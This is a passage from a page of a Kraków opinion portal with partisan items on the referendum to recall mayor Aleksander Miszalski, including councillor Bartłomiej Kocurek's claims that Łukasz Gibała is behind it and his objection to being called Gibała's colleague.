posłuchać Konrada Berkowicza, który otwarcie przyznaje, że referendum ma być narzędziem politycznym. Nie tylko do obalenia Aleksandra Miszalskiego, ale też do budowania kapitału, przejmowania wpływów i rozgrywania kolejnych szczebli władzy. Dla Berkowicza to instrument. Środek do celu. źródło: FB A jeśli ktoś jeszcze miał wątpliwości, właśnie zostały one ostatecznie rozwiane. Oto bowiem „na pomoc” organizatorom krakowskiego referendum przybyła… Młodzież Wszechpolska. Tak, ta sama. Trudno o bardziej jednoznaczny dowód na to, że z oddolnym ruchem obywatelskim nie ma to absolutnie nic wspólnego. Naprawdę – oddolny zryw? Z politycznymi liderami w tle, z otwarcie deklarowanymi ambicjami władzy i ze wsparciem skrajnie ideologicznych organizacji? Jeśli tak ma wyglądać „inicjatywa mieszkańców”, to słownik pojęć trzeba by pisać od nowa. Jedno jest pewne: im głośniej organizatorzy krzyczą o masowym poparciu, tym wyraźniej widać nerwowość. A desperacka walka o każdy podpis mówi więcej niż tysiąc triumfalnych postów w mediach społecznościowych.

Więcej…

Przesadziliśmy. „Kolega Gibały” obraża bardziej niż wulgaryzmy

Przesadziliśmy. „Kolega Gibały” obraża bardziej niż wulgaryzmy

09 lutego 2026 | 20:21

Jedno sformułowanie wystarczyło, by wywołać gwałtowną reakcję. Po publikacji tekstu, w którym użyliśmy określenia „kolega Gibały”, napisał do nas Bartłomiej Kocurek. Osoba, którą tym mianem opisaliśmy. Z żądaniem natychmiastowej zmiany. Powód? Jak sam stwierdził, wolałby być określany słowami powszechnie uznawanymi za wulgarne, niż zostać nazwanym „kolegą Gibały”. – Moja odporność na inwektywy w sieci też ma swoje granice – mówi nam Bartłomiej Kocurek. ZOBACZ: Kolega Gibały ujawnia: "Nie pogodził się z przegraną i zaczął szukać sposobu..." Warto więc doprecyzować: nie chodziło o prywatne relacje, wspólne kolacje ani polityczne braterstwo dusz. Określenie „kolega” zostało użyte w najprostszym możliwym znaczeniu - jako współuczestnik pracy w radzie miasta. „Kolega” z rady. Formalnie: współradny. Instytucjonalnie: osoba zasiadająca w tym samym gremium. Bartłomiej Kocurek Dla Bartłomieja Kocurka to jednak za dużo. Radny stanowczo odcina się od jakiegokolwiek łączenia go z Łukaszem Gibałą, nawet na poziomie faktów organizacyjnych. Samo zestawienie nazwisk okazuje się bardziej dotkliwe niż najcięższa obelga. Bo w tej historii „kolega” nie jest opisem relacji. Jest oskarżeniem.

Więcej…

Kolega Gibały ujawnia: "Nie pogodził się z przegraną i zaczął szukać sposobu..."

Kolega Gibały ujawnia: "Nie pogodził się z przegraną i zaczął szukać sposobu..."

09 lutego 2026 | 17:13

– Łukasz Gibała nie do końca pogodził się z przegraną i już praktycznie zaraz po wyborach zaczął mówić w kuluarach, że będzie szukał sposobu, aby odwołać prezydenta Miszalskiego – ujawnił krakowski radny Bartłomiej Kocurek. Jego zdaniem to właśnie Gibałą stoi za akcją referendalną, która ma doprowadzić do odwołania Aleksandra Miszalskiego. – Proszę pamiętać, że prezydent Miszalski wygrał wybory niewielką większością głosów. Dostał ich 51% w stosunku do 49% w drugiej turze, czyli połowa wyborców zagłosowała na innego kandydata. Ten kontrkandydat nie do końca pogodził się z przegraną i już praktycznie zaraz po wyborach zaczął mówić w kuluarach, że będzie szukał sposobu, aby odwołać prezydenta Miszalskiego – powiedział radny Kocurek w wywiadzie udzielonym portalowi KRKnews.pl. Jego zdaniem organizatorzy zbiorą 60 tysięcy podpisów potrzebnych do przeprowadzenie referendum.  – Są też takie grupy wyborców, które dla zasady będą zawsze na „nie” wobec osoby, która nie jest z ich opcji politycznej. Nie wynika to jedna z jakiegoś gniewu ogólnokrakowskiego, nie mówimy o gigantycznych ilościach, które wskazywałyby, że wszystko się wali, że wszystko jest źle. Gdyby rzeczywiście zebrano tych podpisów 200-250 tysięcy, to wtedy można byłoby mówić, że jest jakiś problem. Jednak – patrząc na to, co właśnie się dzieje na ulicach – ja nie widzę tego zrywu, nie widzę tej determinacji i wielkiego szaleństwa, które świadczyłyby o zrywie. Mało tego, proszę też pamiętać, że większość mieszkańców Krakowa tak naprawdę nie interesuje się panem Gibałą, panem Hoffmanem, nie wiedzą, kim oni są. Mówimy o pewnych bańkach – dodaje polityk KO. Cały wywiad możecie przeczytać tutaj: Radny Kocurek o referendum: Nie ma absolutnie nic, żeby buntować się przeciwko władzy źródło: KRKnews.pl  

Więcej…

Strona 2 z 7

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Social Media

Reklama - sidebar

Na fali

  • Gibała finansuje akcję przeciwko Miszalskiemu, czyli jak radny kupuje sobie Kraków

    Fala faktów

    Gibała finansuje akcję przeciwko...

    Informacja
    06 marca 2026 | 15:40
  • PiS wybiera kandydata na prezydenta Krakowa. Trzy nazwiska, jedna BOMBA!

    Głos z kanału

    PiS wybiera kandydata na prezydenta...

    Informacja
    13 marca 2026 | 08:47
  • Tak ostro jeszcze nie było.

    Głos z kanału

    Tak ostro jeszcze nie było. "Utopił...

    Informacja
    03 marca 2026 | 11:49

Kanał Krakowski

Płyniemy pod prąd. Z prądem płyną śmieci.

Menu

  • Strona główna
  • O nas
  • Reklama
  • Materiały partnerskie
  • Kontakt
  • Polityka prywatności

Działy

  • Fala faktów
  • Głos z kanału
  • W nurcie rozmowy
  • Ściek medialny
  • Luźne fale
Copyright © 2026 Kanał Krakowski. Wszelkie prawa zastrzeżone.